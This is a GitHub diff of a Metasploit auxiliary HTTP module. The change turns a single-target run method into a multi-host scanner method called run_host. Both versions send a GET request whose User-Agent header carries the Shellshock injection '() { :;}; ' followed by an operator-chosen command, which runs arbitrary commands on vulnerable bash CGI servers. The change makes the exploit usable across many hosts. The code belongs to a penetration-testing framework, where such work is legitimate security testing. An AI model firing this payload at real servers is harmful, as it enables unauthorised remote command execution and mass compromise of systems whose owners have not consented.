File tree Expand file tree Collapse file tree 1 file changed +7
-13
lines changed
modules/auxiliary/scanner/http Expand file tree Collapse file tree 1 file changed +7
-13
lines changed Original file line number Diff line number Diff line change 8
8
class Metasploit4 < Msf ::Auxiliary
9
9
10
10
include Msf ::Exploit ::Remote ::HttpClient
11
+ include Msf ::Auxiliary ::Scanner
11
12
12
13
def initialize ( info = { } )
13
14
super ( update_info ( info ,
@@ -37,19 +38,12 @@ def initialize(info = {})
37
38
] , self . class )
38
39
end
39
40
40
- def run
41
- begin
42
- send_request_cgi (
43
- 'method' => 'GET' ,
44
- 'uri' => normalize_uri ( target_uri . path ) ,
45
- 'agent' => "() { :;}; #{ datastore [ 'CMD' ] } "
46
- )
47
- rescue Rex ::ConnectionRefused , Rex ::ConnectionTimeout ,
48
- Rex ::HostUnreachable => e
49
- fail_with ( Failure ::Unreachable , e )
50
- ensure
51
- disconnect
52
- end
41
+ def run_host ( ip )
42
+ send_request_cgi (
43
+ 'method' => 'GET' ,
44
+ 'uri' => normalize_uri ( target_uri . path ) ,
45
+ 'agent' => "() { :;}; #{ datastore [ 'CMD' ] } "
46
+ )
53
47
end
54
48
55
49
end
You can’t perform that action at this time.
0 commit comments